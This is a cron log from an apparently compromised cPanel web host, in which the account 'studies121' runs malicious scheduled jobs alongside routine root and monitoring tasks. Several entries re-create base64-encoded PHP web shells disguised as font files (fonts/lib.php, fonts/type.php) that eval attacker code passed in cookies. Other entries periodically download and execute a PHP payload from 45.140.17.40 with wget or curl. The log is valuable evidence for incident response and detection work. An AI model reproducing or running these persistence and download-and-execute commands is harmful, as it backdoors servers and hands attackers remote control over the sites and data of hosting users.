Sep  9 20:30:02 ip-184-168-122-23 CROND[10094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:30:02 ip-184-168-122-23 CROND[10092]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 20:30:02 ip-184-168-122-23 CROND[10093]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:31:01 ip-184-168-122-23 CROND[10191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:31:01 ip-184-168-122-23 CROND[10192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:31:01 ip-184-168-122-23 CROND[10196]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 20:31:01 ip-184-168-122-23 CROND[10194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:31:01 ip-184-168-122-23 CROND[10195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:32:01 ip-184-168-122-23 CROND[10278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:32:01 ip-184-168-122-23 CROND[10281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:32:01 ip-184-168-122-23 CROND[10283]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:32:01 ip-184-168-122-23 CROND[10282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:32:01 ip-184-168-122-23 CROND[10280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:33:01 ip-184-168-122-23 CROND[10358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:33:01 ip-184-168-122-23 CROND[10361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:33:01 ip-184-168-122-23 CROND[10360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:33:01 ip-184-168-122-23 CROND[10363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:34:01 ip-184-168-122-23 CROND[10444]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:34:01 ip-184-168-122-23 CROND[10445]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:34:01 ip-184-168-122-23 CROND[10448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:34:01 ip-184-168-122-23 CROND[10449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:34:01 ip-184-168-122-23 CROND[10447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:35:01 ip-184-168-122-23 CROND[10627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:35:01 ip-184-168-122-23 CROND[10629]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 20:35:01 ip-184-168-122-23 CROND[10631]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 20:35:01 ip-184-168-122-23 CROND[10634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:35:01 ip-184-168-122-23 CROND[10635]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 20:35:01 ip-184-168-122-23 CROND[10636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:35:01 ip-184-168-122-23 CROND[10638]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 20:35:01 ip-184-168-122-23 CROND[10639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:36:01 ip-184-168-122-23 CROND[10737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:36:01 ip-184-168-122-23 CROND[10739]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:36:01 ip-184-168-122-23 CROND[10740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:36:01 ip-184-168-122-23 CROND[10741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:36:01 ip-184-168-122-23 CROND[10742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:37:01 ip-184-168-122-23 CROND[10829]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:37:01 ip-184-168-122-23 CROND[10830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:37:01 ip-184-168-122-23 CROND[10831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:37:01 ip-184-168-122-23 CROND[10833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:38:01 ip-184-168-122-23 CROND[10915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:38:01 ip-184-168-122-23 CROND[10917]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:38:01 ip-184-168-122-23 CROND[10920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:38:01 ip-184-168-122-23 CROND[10919]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:38:01 ip-184-168-122-23 CROND[10921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:39:01 ip-184-168-122-23 CROND[11005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:39:01 ip-184-168-122-23 CROND[11006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:39:01 ip-184-168-122-23 CROND[11011]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 20:39:01 ip-184-168-122-23 CROND[11008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:39:01 ip-184-168-122-23 CROND[11014]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:40:01 ip-184-168-122-23 CROND[11210]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 20:40:01 ip-184-168-122-23 CROND[11211]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 20:40:01 ip-184-168-122-23 CROND[11216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:40:01 ip-184-168-122-23 CROND[11215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:40:01 ip-184-168-122-23 CROND[11221]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 20:40:01 ip-184-168-122-23 CROND[11222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:40:01 ip-184-168-122-23 CROND[11223]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:40:01 ip-184-168-122-23 CROND[11224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:41:01 ip-184-168-122-23 CROND[11314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:41:01 ip-184-168-122-23 CROND[11317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:41:01 ip-184-168-122-23 CROND[11315]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:41:01 ip-184-168-122-23 CROND[11318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:42:01 ip-184-168-122-23 CROND[11392]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:42:01 ip-184-168-122-23 CROND[11394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:42:01 ip-184-168-122-23 CROND[11396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:42:01 ip-184-168-122-23 CROND[11395]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
